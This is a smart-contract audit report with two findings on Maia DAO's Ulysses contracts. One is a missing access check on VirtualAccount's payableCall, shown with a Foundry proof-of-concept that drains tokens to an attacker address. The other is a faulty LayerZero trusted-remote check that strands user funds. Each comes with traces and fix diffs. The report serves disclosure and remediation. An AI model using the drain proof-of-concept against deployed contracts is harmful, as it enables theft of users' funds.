Maia DAO - Ulysses - ciphermarco's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L84-L112 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L160-L167

Vulnerability details

Impact

The Virtual Account contract enables users to oversee assets and engage in remote interactions, all the while affording dApps encapsulated user balances for accounting purposes. Amongst the critical functions within this contract lies the payableCall function, which offers the abilitiy to aggregate arbitrary calls carrying a msg.value for the Virtual Account to execute. The absence of access control in payableCall exposes the funds and privileges controlled by the Virtual Account to any malicious payload.

Proof of Concept

This is the 'payableCall' function's implementation:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L84-L112

    function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
        uint256 valAccumulator;
        uint256 length = calls.length;
        returnData = new bytes[](length);
        PayableCall calldata _call;
        for (uint256 i = 0; i < length;) {
            _call = calls[i];
            uint256 val = _call.value;
            // Humanity will be a Type V Kardashev Civilization before this overflows - andreas
            // ~ 10^25 Wei in existence << ~ 10^76 size uint fits in a uint256
            unchecked {
                valAccumulator += val;
            }

            bool success;
            // @audit NO ACCESS CONTROL to this point
            if (isContract(_call.target)) (success, returnData[i]) = _call.target.call{value: val}(_call.callData); // <--- ARBITRARY CALL

            if (!success) revert CallFailed();

            unchecked {
                ++i;
            }
        }

        // Finally, make sure the msg.value = SUM(call[0...i].value)
        if (msg.value != valAccumulator) revert CallFailed();
    }

And this is the modifier that, unlike payableCall, the call function employs in this same contract:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L160-L167

    modifier requiresApprovedCaller() {
        if (!IRootPort(localPortAddress).isRouterApproved(this, msg.sender)) {
            if (msg.sender != userAddress) {
                revert UnauthorizedCaller();
            }
        }
        _;
    }

We can easily implement a Proof-of-Concept by creating a file (e.g. PayableCallAuditTest.t.sol) within the project's directory at ./test/ulysses-omnichain/ with the following content:

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

// Import `MulticallRootRouterTest` and extend it with the test contract to make setup easier
import "./MulticallRootRouterTest.t.sol";

// Structs and interface without imports for better visibility here
struct Call {
    address target;
    bytes callData;
}

struct PayableCall {
    address target;
    bytes callData;
    uint256 value;
}

interface IVirtualAccount {
    function call(Call[] calldata callInput) external returns (bytes[] memory);
    function payableCall(PayableCall[] calldata calls) external payable returns (bytes[] memory);
}

contract VirtualAccountAuditTest is MulticallRootRouterTest {
    function testPayableCallAccessControl() public {
        // Addresses
        address user = address(0xdeadbeef);
        address virtualAccount = address(rootPort.fetchVirtualAccount(user));
        address attacker = address(0x1337);

        // Ensure there are assets for PoC
        hevm.startPrank(address(rootPort));
        ERC20hTokenRoot(avaxGlobalToken).mint(address(virtualAccount), 9 ether, avaxChainId);
        hevm.stopPrank();

        // Prepare a dangerous call
        Call[] memory calls = new Call[](1);
        calls[0] = Call({
            target: avaxGlobalToken,
            callData: abi.encodeWithSignature("transfer(address,uint256)", attacker, 9 ether)
       });

        // Prepare a dangerous payableCall
        PayableCall[] memory payableCalls = new PayableCall[](1);
        payableCalls[0] = PayableCall({
            target: avaxGlobalToken,
            callData: abi.encodeWithSignature("transfer(address,uint256)", attacker, 9 ether),
            value: 0
       });

        // Check balances before the exploit
        assertEq(MockERC20(avaxGlobalToken).balanceOf(virtualAccount), 9 ether);
        assertEq(MockERC20(avaxGlobalToken).balanceOf(attacker), 0);

        /*//////////////////////////////////////////////////////////////
                                EXPLOIT
        //////////////////////////////////////////////////////////////*/
        hevm.startPrank(attacker);

        // First, let's try to use the `call` function for comparison
        hevm.expectRevert(bytes4(0x5c427cd9)); // UnauthorizedCaller()
        IVirtualAccount(virtualAccount).call(calls);
        // As expected, it REVERTS when called by the attacker

        // Now, with the `payableCall` function
        IVirtualAccount(virtualAccount).payableCall(payableCalls);

        hevm.stopPrank();

        // Check balances after the exploit; `attacker` now has 9 `ether` of `avaxGlobalToken`
        assertEq(MockERC20(avaxGlobalToken).balanceOf(virtualAccount), 0);
        assertEq(MockERC20(avaxGlobalToken).balanceOf(attacker), 9 ether);
    }
}

The explanation of the Proof-of-Concept is embedded within its comments, making it more seamlessly comprehensible and easy to follow. To execute this test, you can run:

$ forge test --match-test testPayableCallAccessControl

Tools Used

Manual: code editor, Foundry's forge.

Recommended Mitigation Steps

1. Implement the Existent requiresApprovedCaller Modifier in the payableCall Function

You can employ the following code diff to make the recommended changes:

85c85
<     function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) {
---
>     function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData) {

2. Test

This alteration will result in the failure of the test mentioned earlier. Should the existing test, including its import and organization, be deemed appropriate for inclusion in the test harness, rectifying this issue is straightforward with the following modification:

65a66
>         hevm.expectRevert(bytes4(0x5c427cd9)); // UnauthorizedCaller()
71,72c72,73
<         assertEq(MockERC20(avaxGlobalToken).balanceOf(virtualAccount), 0);
<         assertEq(MockERC20(avaxGlobalToken).balanceOf(attacker), 9 ether);
---
>         assertEq(MockERC20(avaxGlobalToken).balanceOf(virtualAccount), 9 ether);
>         assertEq(MockERC20(avaxGlobalToken).balanceOf(attacker), 0);

Now, you can run the test successfully once more:

$ forge test --match-test testPayableCallAccessControl

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1204-L1217 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L930-L944

Vulnerability details

Impact

BranchBridgeAgent and RootBridgeAgent contracts implement the lzReceive function that is required to receive messages from LayerZero relayer. Since it is dangerous to receive messages from unknown contracts, contracts can be securely connected by implementing the Trusted Remote validation scheme.

Both contracts implement a faulty validation that makes all messages from LayerZero fail, which puts users' funds at risk.

Proof of Concept

How Are Users' Funds Lost?

Before we delve into proving the issue with the lzReceive functions within the BranchBridgeAgent and RootBridgeAgent contracts, let's initially assume they always revert. This approach allows us to first comprehend the risks posed to users' funds if the assumption is correct. To illustrate, I will you go through a step-by-step interaction flow, with a description of the key steps involved.

1. User Calls callOutAndBridge

In the source chain, callOutAndBridge caches the depositNonce, creates a payload, and then calls _createDeposit:

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L224C1-L224C118

        _createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

_createDeposit increments the global depositNonce and locks tokens into the Local Port:

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L824C5-L824C5

IPort(localPortAddress).bridgeOut(msg.sender, _hToken, _token, _amount, _deposit);

bridgeOut calls _bridgeOut and transfers funds from user:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchPort.sol#L525-L533

        if (_hTokenAmount > 0) {
            _localAddress.safeTransferFrom(_depositor, address(this), _hTokenAmount);
            ERC20hTokenBranch(_localAddress).burn(_hTokenAmount);
        }

        // Check if underlying tokens are being bridged out
        if (_deposit > 0) {
            _underlyingAddress.safeTransferFrom(_depositor, address(this), _deposit);
        }

Execution is handled to _createDeposit, which stores the deposit and handles execution back to callOutAndBridge.

callOutAndBridge then performs the LayerZero call:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L227

        _performCall(_refundee, payload, _gParams);

The user transaction is executed in the source chain and the deposit message is sent accross chains.

2. RootBridgeAgent's lzReceive Fails

In the destination chain, lzReceive is called and calls lzReceiveNonBlocking, which implements the modifier requiresEndpoint: https://github.com/code-423n4/2023-09-maia/blob/main/src/RootBridgeAgent.sol#L423C1-L439C78

For now, we are assuming this modifier will always revert execution. So, execution reverts and no state changes happens in the destination chain.

3. User calls retrieveDeposit

Noticing the failure, user calls retrieveDeposit in the source chain:

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L422-L431

    function retrieveDeposit(uint32 _depositNonce, GasParams calldata _gParams) external payable override lock {
        // Check if the deposit belongs to the message sender
        if (getDeposit[_depositNonce].owner != msg.sender) revert NotDepositOwner();

        //Encode Data for cross-chain call.
        bytes memory payload = abi.encodePacked(bytes1(0x08), msg.sender, _depositNonce);

        //Update State and Perform Call
        _performCall(payable(msg.sender), payload, _gParams);
    }

retrieveDeposit performs a LayerZero call to RootBridgeAgent with the flag 0x08 to retrieve the deposit; execution is finished in the source chain.

In the destination chain, lzReceive is called and reverts again. This means the fallback call is never executed:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L708-L714

                if (executionState[_srcChainId][nonce] == STATUS_READY) {
                    executionState[_srcChainId][nonce] = STATUS_RETRIEVE;
                }
                //Trigger fallback/Retry failed fallback
                _performFallbackCall(
                    payable(address(uint160(bytes20(_payload[PARAMS_START:PARAMS_START_SIGNED])))), nonce, _srcChainId
                );

_peformFallbackCall is responsible to call the BranchBridgeAgent with the flag 0x04 to register that the deposit has failed, but this never happens.

4. User Calls redeemDeposit

Since the deposit status was never changed from STATUS_SUCCESS, the call to redeemDeposit will revert:

https://github.com/code-423n4/2023-09-maia/blob/main/src/BranchBridgeAgent.sol#L439

        if (deposit.status == STATUS_SUCCESS) revert DepositRedeemUnavailable();

User's funds are now stuck.

Why it Happens

When a LayerZero message is received, it triggers the execution of the lzReceive functions within the affected contracts. Following this, these contracts initiate the execution of their respective lzReceiveNonBlocking functions:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L578-L590

    // File: BranchBridgeAgent.sol
    function lzReceive(uint16, bytes calldata _srcAddress, uint64, bytes calldata _payload) public override {
        address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcAddress, _payload)
        );
    }

    /// @inheritdoc IBranchBridgeAgent
    function lzReceiveNonBlocking(address _endpoint, bytes calldata _srcAddress, bytes calldata _payload)"When a LayerZero message is received, it triggers the execution of the `lzReceive` functions within the relevant contracts. Following this, these contracts initiate the execution of their respective `lzReceiveNonBlocking` functions:"

        requiresEndpoint(_endpoint, _srcAddress) // <--- FAULTY MODIFIER
// [... SNIP ...]

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L423-L439

    // File: RootBridgeAgent.sol
    function lzReceive(uint16 _srcChainId, bytes calldata _srcAddress, uint64, bytes calldata _payload) public {
        (bool success,) = address(this).excessivelySafeCall(
            gasleft(),
            150,
            abi.encodeWithSelector(this.lzReceiveNonBlocking.selector, msg.sender, _srcChainId, _srcAddress, _payload)
        );

        if (!success) if (msg.sender == getBranchBridgeAgent[localChainId]) revert ExecutionFailure();
    }

    /// @inheritdoc IRootBridgeAgent
    function lzReceiveNonBlocking(
        address _endpoint,
        uint16 _srcChainId,
        bytes calldata _srcAddress,
        bytes calldata _payload
    ) public override requiresEndpoint(_endpoint, _srcChainId, _srcAddress) { // <--- FAULTY MODIFIER
// [... SNIP ...]

After additional checks, both modifiers reveal the same bug when attempting to validate the remote caller:

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L941-L943

        // File: BranchBridgeAgent.sol
        //Verify Remote Caller
        if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();
        if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller(); // <--- BUG

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L1210-L1215

            // File: RootBridgeAgent.sol
            if (_srcAddress.length != 40) revert LayerZeroUnauthorizedCaller();

            if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) { // <--- BUG
                revert LayerZeroUnauthorizedCaller();
            }
        }

Please, note that the constant PARAMS_ADDRESS_SIZE is defined and assigned in BridgeAgentConstants with the value 20.

The issue arises from the fact that the _srcAddress parameter, initially passed to the lzReceive function, is in the Trusted Remote format. This format is a combination of the packed bytes of the remoteAddress + localAddress. Consequently, both modifiers inadvertently check the localAddress instead of the intended remoteAddress. Consequently, this check consistently results in a revert.

Code Evidence

As referenced earlier, the Trusted Remote documentation provides a clear explanation of the Trusted Remote format, which consists of combining the remoteAddress and localAddress in this order. Additionally, it outlines where it is used. Despite the documentation, we can also substantiate the issue through code analysis.

This is how the message library UltraLightNodeV2 generates the pathData (lzReceive's _srcAddress):

https://github.com/LayerZero-Labs/LayerZero/blob/48c21c3921931798184367fc02d3a8132b041942/contracts/UltraLightNodeV2.sol#L111

        bytes memory pathData = abi.encodePacked(_packet.srcAddress, _packet.dstAddress); // <--- HERE; from this chain's perspective, `remoteAddress + localAddress`
        emit PacketReceived(_packet.srcChainId, _packet.srcAddress, _packet.dstAddress, _packet.nonce, keccak256(_packet.payload));
        endpoint.receivePayload(_srcChainId, pathData, _dstAddress, _packet.nonce, _gasLimit, _packet.payload);

Using this value, receivePayload is invoked, ultimately leading to the execution of the lzReceive function within the destination contract:

https://github.com/LayerZero-Labs/LayerZero/blob/48c21c3921931798184367fc02d3a8132b041942/contracts/Endpoint.sol#L100-L125

    function receivePayload(uint16 _srcChainId, bytes calldata _srcAddress, address _dstAddress, uint64 _nonce, uint _gasLimit, bytes calldata _payload) external override receiveNonReentrant {
// [... SNIP ...]
        try ILayerZeroReceiver(_dstAddress).lzReceive{gas: _gasLimit}(_srcChainId, _srcAddress, _nonce, _payload) {

Runtime Evidence

We can also collect recent production runtime evidence. To illustrate, consider a transaction from a LayerZero relayer that we can trace using the online Transaction Tracer at this link: Transaction Tracer Link.

In this transaction, you can search for the string srcAddress=0x3082cc23568ea640225c2467653db90e9250aaa0, which corresponds to the remote address on source chain ID 110.

By using this value, you can search for 0x3082cc23568ea640225c2467653db90e9250aaa0 and verify that it is indeed the initial portion of the pathData or _srcAddress parameter passed to the lzReceive function:

[... SNIP ...]lzReceive(arg0=110, arg1=0x3082cc23568ea640225c2467653db90e9250aaa0f7de7e8a6bd59ed41a4b5fe50278b3b7f31384df[... SNIP ...]

So, consolidating all the crucial information together, we can determine the source and destination for this LayerZero message:

• Source Chain ID: 110 (Arbitrum)

  • Source Address: 0x3082cc23568ea640225c2467653db90e9250aaa0

• Destination Chain ID: 102 (BNB)

  • Destination Address: 0xf7DE7E8A6bd59ED41a4b5fe50278b3B7f31384dF

An Executable Proof of Concept

We can create an executable proof of concept by using the contract LZEndpointMock.sol, provided by the LayerZero project themselves.

Please note that, for the sake of brevity, this proof of concept focuses solely on testing the BranchBridgeAgent contract. The underlying concept being tested applies to the RootBridgeAgent as well.

For this quick proof of concept, just clone the LayerZero's solidity-examples repository into the /lib directory:

$ pwd
/path/to/project/2023-09-maia/lib
$ git clone https://github.com/LayerZero-Labs/solidity-examples layerzero-examples

Now create a test file (e.g. LAyerZeroAuditTest.t.sol) within the /test/ulysses-omnichain directory with the following content:

//SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.16;

import {Test} from "forge-std/Test.sol";

// Setup dependencies
import {MockERC20} from "solmate/test/utils/mocks/MockERC20.sol";
import {BranchPort} from "@omni/BranchPort.sol";
import {BaseBranchRouter} from "@omni/BaseBranchRouter.sol";
import {BranchBridgeAgent} from "@omni/BranchBridgeAgent.sol";
import {ERC20hTokenBranch} from "@omni/token/ERC20hTokenBranch.sol";

// LayerZero Endpoint Mock
import "lib/layerzero-examples/contracts/lzApp/mocks/LZEndpointMock.sol";

contract LayerZeroAuditTest is Test {
    uint16 srcChainId = 1;
    uint16 dstChainId = 2;

    address rootBridgeAgentAddress = address(0xBEEF);

    LZEndpointMock srcEndpoint = new LZEndpointMock(srcChainId);
    LZEndpointMock dstEndpoint = new LZEndpointMock(dstChainId);

    BranchBridgeAgent bAgent;

    function setUp() public {
        MockERC20 underlyingToken = new MockERC20("underlying token", "UNDER", 18);

        MockERC20 rewardToken = new MockERC20("hermes token", "HERMES", 18);

        address localPortAddress = address(new BranchPort(address(this)));

        ERC20hTokenBranch testToken = new ERC20hTokenBranch(       "Test Ulysses ",
            "test-u","Hermes underlying token", "hUNDER",18, address(this));

        BaseBranchRouter bRouter = new BaseBranchRouter();

        BranchPort(payable(localPortAddress)).initialize(address(bRouter), address(this));

        bAgent = new BranchBridgeAgent(
            srcChainId, // _rootChainId
            dstChainId, // _localChainId
            rootBridgeAgentAddress, // _rootBridgeAgentAddress
            address(dstEndpoint), // _lzEndpointAddress
            address(bRouter),
            localPortAddress
        );

        srcEndpoint.setDestLzEndpoint(address(bAgent), address(dstEndpoint));
    }

    function testLzSendCorrectPath() public {
        // CORRECTLY encode the path as `remoteAddress + localAddress` (from source's perspective)
        bytes memory path = abi.encodePacked(address(bAgent), rootBridgeAgentAddress);
        bytes memory mockParams = abi.encodePacked(uint16(2), uint256(200000), uint256(55555555555), rootBridgeAgentAddress);

        // Pretend to be `rootBridgeAgentAddress`, which should be authorised to call `bAgent`
        deal(rootBridgeAgentAddress, 10 ether);
        vm.prank(rootBridgeAgentAddress);

        // The revert will not bubble up, but `BranchBridgeAgent::lzReceiveNonBlocking` will revert with `LayerZeroUnauthorizedCaller()`
        srcEndpoint.send{value: 10 ether}(
            dstChainId,               // _chainId,
            path,                     // _path,
            abi.encodePacked(""),     // _payload (empty because we are expecting a failure before it is used anyway)
            payable(address(0x1337)), // _refundAddress
            address(0),               // _zroPaymentAddress
            mockParams                // _adapterParams
        );
    }

    function testLzSendWrongPath() public {
        // WRONGLY encode the path as `localAddress + remoteAddress` (from source's perspective)
        bytes memory path = abi.encodePacked(rootBridgeAgentAddress, address(bAgent));
        bytes memory mockParams = abi.encodePacked(uint16(2), uint256(200000), uint256(55555555555), rootBridgeAgentAddress);

        // Pretend to be `rootBridgeAgentAddress`, which should be authorised to call `bAgent`
        deal(rootBridgeAgentAddress, 10 ether);
        vm.prank(rootBridgeAgentAddress);

        // Endpoint will not be found
        vm.expectRevert("LayerZeroMock: destination LayerZero Endpoint not found");
        srcEndpoint.send{value: 10 ether}(
            dstChainId,               // _chainId,
            path,                     // _path,
            abi.encodePacked(""),     // _payload (empty because we are expecting a failure before it is used anyway)
            payable(address(0x1337)), // _refundAddress
            address(0),               // _zroPaymentAddress
            mockParams                // _adapterParams
        );
    }

    function testLzReceiveWithCorrectPath() public {
        // CORRECTLY encode the path as `remoteAdress + localAddress` (from destination's perspective)
        bytes memory path = abi.encodePacked(rootBridgeAgentAddress, address(bAgent));
        bytes memory fallbackData = abi.encodePacked(bytes1(0x04), uint32(1));
        bytes memory payload = abi.encodeWithSelector(bAgent.lzReceiveNonBlocking.selector, msg.sender, path, fallbackData);

        // Pretend to be `bAgent` to pass the check requiring `msg.sender == address(this)`
        vm.prank(address(bAgent));
        vm.expectRevert(0xe107b004); // LayerZeroUnauthorizedCaller()
        bAgent.lzReceiveNonBlocking(address(dstEndpoint), path, fallbackData);
    }
}

testLzSendCorrectPath

Execute this test with:

$ forge test --match-test testLzSendCorrectPath -vvvv
[... SNIP ...]
Traces:
  [172672] LayerZeroAuditTest::testLzSendCorrectPath() 
    ├─ [0] VM::deal(0x000000000000000000000000000000000000bEEF, 10000000000000000000 [1e19]) 
    │   └─ ← ()
    ├─ [0] VM::prank(0x000000000000000000000000000000000000bEEF) 
    │   └─ ← ()
    ├─ [151082] LZEndpointMock::send{value: 10000000000000000000}(2, 0x87b2d08110b7d50861141d7bbdd49326af3ecb31000000000000000000000000000000000000beef, 0x, 0x0000000000000000000000000000000000001337, 0x0000000000000000000000000000000000000000, 0x00020000000000000000000000000000000000000000000000000000000000030d400000000000000000000000000000000000000000000000000000000cef5e80e3000000000000000000000000000000000000beef) 
    │   ├─ [0] 0x0000000000000000000000000000000000001337::fallback{value: 9986798838888888890}() 
    │   │   └─ ← ()
    │   ├─ [0] 0x000000000000000000000000000000000000bEEF::fallback{value: 55555555555}() 
    │   │   └─ ← ()
    │   ├─ [37679] LZEndpointMock::receivePayload(1, 0x000000000000000000000000000000000000beef87b2d08110b7d50861141d7bbdd49326af3ecb31, BranchBridgeAgent: [0x87B2d08110B7D50861141D7bBDd49326af3Ecb31], 1, 200000 [2e5], 0x) 
    │   │   ├─ [3344] BranchBridgeAgent::lzReceive(1, 0x000000000000000000000000000000000000beef87b2d08110b7d50861141d7bbdd49326af3ecb31, 1, 0x) 
    │   │   │   ├─ [1393] BranchBridgeAgent::lzReceiveNonBlocking(LZEndpointMock: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 0x000000000000000000000000000000000000beef87b2d08110b7d50861141d7bbdd49326af3ecb31, 0x) 
    │   │   │   │   └─ ← "LayerZeroUnauthorizedCaller()"
    │   │   │   └─ ← ()
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← ()

Since the revert does not bubble up, we can examine the transaction traces to observe that BranchBridgeAgent::lzReceiveNonBlocking reverted with LayerZeroUnauthorizedCaller().

This occurred because send assembled the path using the Trusted Remote format, specifically remoteAddress + localAddress, which differs from the expectation of BranchBridgeAgent.

testLzSendWithWrongPath

Now execute testLzSendWrongPath:

$ forge test --match-test testLzSendWrongPath -vvvv
[... SNIP ...]
Traces:
  [31199] LayerZeroAuditTest::testLzSendWrongPath() 
    ├─ [0] VM::deal(0x000000000000000000000000000000000000bEEF, 10000000000000000000 [1e19]) 
    │   └─ ← ()
    ├─ [0] VM::prank(0x000000000000000000000000000000000000bEEF) 
    │   └─ ← ()
    ├─ [0] VM::expectRevert(LayerZeroMock: destination LayerZero Endpoint not found) 
    │   └─ ← ()
    ├─ [9174] LZEndpointMock::send{value: 10000000000000000000}(2, 0x000000000000000000000000000000000000beef87b2d08110b7d50861141d7bbdd49326af3ecb31, 0x, 0x0000000000000000000000000000000000001337, 0x0000000000000000000000000000000000000000, 0x00020000000000000000000000000000000000000000000000000000000000030d400000000000000000000000000000000000000000000000000000000cef5e80e3000000000000000000000000000000000000beef) 
    │   └─ ← "LayerZeroMock: destination LayerZero Endpoint not found"
    └─ ← ()

LayerZeroMock reverts with destination LayerZero Endpoint not found because the path that was passed is in the wrong format (i.e. localAddress + remoteAddress).

testLzReceiveWithCorrectPath

Finally, execute testLzReceiveWithCorrectPath:

$ forge test --match-test testLzReceiveWithCorrectPath -vvvv
[... SNIP ...]
Traces:
  [16079] LayerZeroAuditTest::testLzReceiveWithCorrectPath() 
    ├─ [0] VM::prank(BranchBridgeAgent: [0x87B2d08110B7D50861141D7bBDd49326af3Ecb31]) 
    │   └─ ← ()
    ├─ [0] VM::expectRevert(LayerZeroUnauthorizedCaller()) 
    │   └─ ← ()
    ├─ [1393] BranchBridgeAgent::lzReceiveNonBlocking(LZEndpointMock: [0x2a9e8fa175F45b235efDdD97d2727741EF4Eee63], 0x000000000000000000000000000000000000beef87b2d08110b7d50861141d7bbdd49326af3ecb31, 0x0400000001) 
    │   └─ ← "LayerZeroUnauthorizedCaller()"
    └─ ← ()

When calling lzReceiveNonBlocking directly with the correct Trusted Remote format, it reverts with the LayerZeroUnauthorizedCaller() error.

Tools Used

Manual: code editor, Foundry's forge.

Recommended Mitigation Steps

Basic Mitigation

To quickly mitigate the issue, this code diff can be applied to RootBridgeAgent.sol:

1212c1212
<             if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[PARAMS_ADDRESS_SIZE:])))) {
---
>             if (getBranchBridgeAgent[_srcChain] != address(uint160(bytes20(_srcAddress[:PARAMS_ADDRESS_SIZE])))) {

And this one to BranchBridgeAgent.sol:

943c943
<         if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[20:])))) revert LayerZeroUnauthorizedCaller();
---
>         if (rootBridgeAgentAddress != address(uint160(bytes20(_srcAddress[:PARAMS_ADDRESS_SIZE])))) revert LayerZeroUnauthorizedCaller();

Next, address the failing tests and ensure they conform to the correct format.

Going Further

Implement the Trusted Remote Format

Rather than manipulating indexes in the _srcAddress parameter passed to lzReceive, I recommend considering a simpler solution. A promising approach could be to follow a pattern closer to that of the LzApp example:

https://github.com/LayerZero-Labs/solidity-examples/blob/main/contracts/lzApp/LzApp.sol#L44-L49

        bytes memory trustedRemote = trustedRemoteLookup[_srcChainId];
        // if will still block the message pathway from (srcChainId, srcAddress). should not receive message from untrusted remote.
        require(
            _srcAddress.length == trustedRemote.length && trustedRemote.length > 0 && keccak256(_srcAddress) == keccak256(trustedRemote),
            "LzApp: invalid source sending contract"
        );

You can introduce some adjustments related to the utilization of _srcChainId and impose a limit of 40 bytes on _srcAddress to align with the required specifications regarding supported chains. However, the key point to emphasize is simplifying the require check by directly comparing the entire _srcAddress with the stored trustedRemote(s).

Use lzEndpointMock or Similar for Testing

The provided proof of concept is simple, almost a hack, aimed at conveying the fundamental concept. However LayerZero's LZEndPointMock can be incorporated into the test harness, enabling the simulation of more complex scenarios. In its current state, the tests are themselves calling lzReceive with the wrong path format, as exemplified by the following:

https://github.com/code-423n4/2023-09-maia/blob/main/test/ulysses-omnichain/BranchBridgeAgentTest.t.sol#L402

        bAgent.lzReceive(rootChainId, abi.encodePacked(bAgent, rootBridgeAgentAddress), 1, fallbackData);

By employing a more centralised testing solution like LZEndPointMock, this bug coud have been prevented.

Assessed type

en/de-code